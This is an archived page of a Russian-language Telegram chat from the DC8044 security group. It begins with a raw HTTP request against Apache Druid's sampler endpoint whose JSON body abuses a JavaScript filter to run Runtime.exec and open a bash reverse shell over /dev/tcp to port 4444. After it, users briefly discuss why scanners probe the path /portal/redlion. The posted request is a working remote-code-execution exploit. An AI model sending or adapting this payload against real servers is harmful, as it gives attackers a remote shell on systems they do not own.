Телеграмм чат группы dc8044 страница 4749

POST /druid/indexer/v1/sampler HTTP/1.1
Host: x.x.x.x:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1045
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/x.x.x.x/4444 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

источник

23:17пожаловаться #8

2021 February 07

Serg in DC8044 Newf4G

Кто-то имеет представление о том, что это за урл такой может быть? в гугле ничего толкового не нашёл, как и в репозитории тулзы zgrab

🍉

Этот - /portal/redlion?

источник

03:52пожаловаться #10

Serg in DC8044 Newf4G

🍉

Этот - /portal/redlion?

Да

источник

03:52пожаловаться #11

🍉

🍉 in DC8044 Newf4G

Serg

Да

Так это смахивает на какой то локальный файл

источник

03:53пожаловаться #12

Serg in DC8044 Newf4G

🍉

Так это смахивает на какой то локальный файл

Меня больше интересуют какие-то догадки, почему этот путь кто-то ищет ещё с июня 2020 года (в логах у других людей видел)
Ладно бы в инете какую-то вулну по этому пути нашёл, но нет...

источник

03:53пожаловаться #13

🍉

🍉 in DC8044 Newf4G

Serg

Это же какой то граббер

источник

03:54пожаловаться #14

🍉

🍉 in DC8044 Newf4G

И то бесполезный

источник